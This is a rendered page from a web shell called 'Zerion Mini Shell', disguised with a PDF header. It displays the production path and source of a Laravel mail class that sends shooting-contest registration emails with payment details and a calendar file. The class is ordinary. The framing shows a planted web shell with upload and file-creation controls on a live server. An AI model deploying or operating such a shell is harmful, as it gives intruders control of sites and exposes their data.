%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/loslex/production/app/Mail/
Upload File :
Create Path :
Current File : /www/loslex/production/app/Mail/RegistrationCompletedMail.php

<?php

namespace App\Mail;

use App\Models\Contest;
use App\Models\Registration;
use Illuminate\Bus\Queueable;
use Illuminate\Contracts\Queue\ShouldQueue;
use Illuminate\Mail\Attachment;
use Illuminate\Mail\Mailable;
use Illuminate\Mail\Mailables\Content;
use Illuminate\Mail\Mailables\Envelope;
use Illuminate\Queue\SerializesModels;
use Illuminate\Support\Facades\App;

class RegistrationCompletedMail extends Mailable
{
    use Queueable, SerializesModels;

    public array $data;

    /**
     * Create a new message instance.
     */
    public function __construct(Registration $registration)
    {
        list($startTime, $endTime, $startPres, $endPres) = $this->prepareStartEndTimes($registration);
        $hasPayment = !!($registration->contest->accountnumber);

        $this->data = array(
            'isNew' => true,
            'contestName' => $registration->contest->contestname,
            'token' => (string)($registration->canceltoken),
            'contestId' => $registration->contest->id,
            'contestRange' => $registration->contest->range->name,
            'contestRangeId' => $registration->contest->range->id,
            'contestDate' => $registration->contest->date->format("d.m.Y"),
            'contestPresentationStart' => $startPres,
            'contestPresentationEnd' => $endPres,
            'contestStart' => $startTime,
            'contestEnd' => $endTime,
            'regId' => $registration->id,
            'regName' => $registration->user->firstname . " " . $registration->user->lastname . ($registration->user->suffix ? " " . $registration->user->suffix : ""),
            'regSquad' => $registration->squad != 0 ? $registration->squad : "R",
            'regDivision' => $registration->division?->division,
            'hasPayment' => $hasPayment,
            'payAccountNumber' => $registration->contest->accountnumber,
            'payVarSymbol' => $registration->contest->accvarsym,
            'payNote' => $hasPayment ? $registration->paymentnote : "",
            'replyTo' => $registration->contest->organizerEmail ? $registration->contest->organizerEmail : $registration->contest->director->email,
            'ical' => $this->createIcal($registration),
            'contestFee' => $registration->lexmember ? $registration->contest->feelex : $registration->contest->feeothers,
            'payConditions' => $registration->contest->acccondition,
            'regNote' => $registration->note,
            'qrimg' => $hasPayment ? base64_encode($registration->qrimg) : ""
        );
    }

    /**
     * Get the message envelope.
     */
    public function envelope(): Envelope
    {
        return new Envelope(
            replyTo: ['email' => $this->data['replyTo']],
            subject: __('Registration for contest') . ' - ' . $this->data['contestDate'] . ' - ' . $this->data['contestName'],
        );
    }

    /**
     * Get the message content definition.
     */
    public function content(): Content
    {
        return new Content(
            markdown: 'emails.registration.completed-' . App::getLocale(),
        );
    }

    /**
     * Get the attachments for the message.
     *
     * @return array<int, \Illuminate\Mail\Mailables\Attachment>
     */
    public function attachments(): array
    {
        return [
            Attachment::fromData(fn () => $this->data['ical'], "contest.ics")->withMime('text/calendar')
        ];
    }

    private function createIcal(Registration $registration): string
    {
        list($startTime, $endTime) = $this->prepareStartEndTimes($registration);
        $contestStart = $registration->contest->date->setTimeFromTimeString($startTime);
        $contestEnd = $registration->contest->date->setTimeFromTimeString($endTime);
        $contestUrl = route('contest.show', $registration->contest->id);

        // TODO: GEO:49.212047;17.519481
        // TODO Description division, squad...
        return "BEGIN:VCALENDAR
VERSION:2.0
CALSCALE:GREGORIAN
PRODID:-//LosLex//loslex.cz//cs
X-ORIGINAL-URL:/
BEGIN:VTIMEZONE
TZID:Europe/Prague
BEGIN:DAYLIGHT
TZOFFSETFROM:+0100
TZOFFSETTO:+0200
TZNAME:CEST
DTSTART:19700329T020000
RRULE:FREQ=YEARLY;BYDAY=-1SU;BYMONTH=3
END:DAYLIGHT
BEGIN:STANDARD
TZOFFSETFROM:+0200
TZOFFSETTO:+0100
TZNAME:CET
DTSTART:19701025T030000
RRULE:FREQ=YEARLY;BYDAY=-1SU;BYMONTH=10
END:STANDARD
END:VTIMEZONE
BEGIN:VEVENT
UID:c{$registration->contest->id}@loslex.cz
DTSTAMP:{$contestStart->format("Ymd\\THis")}
DTSTART;TZID=Europe/Prague:{$contestStart->format("Ymd\\THis")}
DTEND;TZID=Europe/Prague:{$contestEnd->format("Ymd\\THis")}
LOCATION:{$registration->contest->range->name}
SUMMARY:LOS: {$registration->contest->contestname}
DESCRIPTION:{$contestUrl}
URL:{$contestUrl}
END:VEVENT
END:VCALENDAR";
    }

    private function prepareStartEndTimes(Registration $registration): array
    {
        $startTime = $registration->contest->squadshootstyle == "together" ? $registration->contest->contestStart[0] : $registration->contest->contestStart[$registration->squad];
        $endTime = $registration->contest->squadshootstyle == "together" ? $registration->contest->contestEnd[0] : $registration->contest->contestEnd[$registration->squad];
        $startPres = $registration->contest->squadshootstyle == "together" ? $registration->contest->presentationStart[0] : $registration->contest->presentationStart[$registration->squad];
        $endPres = $registration->contest->squadshootstyle == "together" ? $registration->contest->presentationEnd[0] : $registration->contest->presentationEnd[$registration->squad];

        if ($registration->squad == 0 && $registration->contest->squadshootstyle == "manual") // RO squad when suqads are at different time
        {
            $startTime = $registration->contest->contestStart[1];
            $endTime = $registration->contest->contestEnd[$registration->contest->squads];
            $startPres = $registration->contest->presentationStart[1];
            $endPres = $registration->contest->presentationEnd[$registration->contest->squads];
        }
        return array($startTime, $endTime, $startPres, $endPres);
    }
}

Zerion Mini Shell 1.0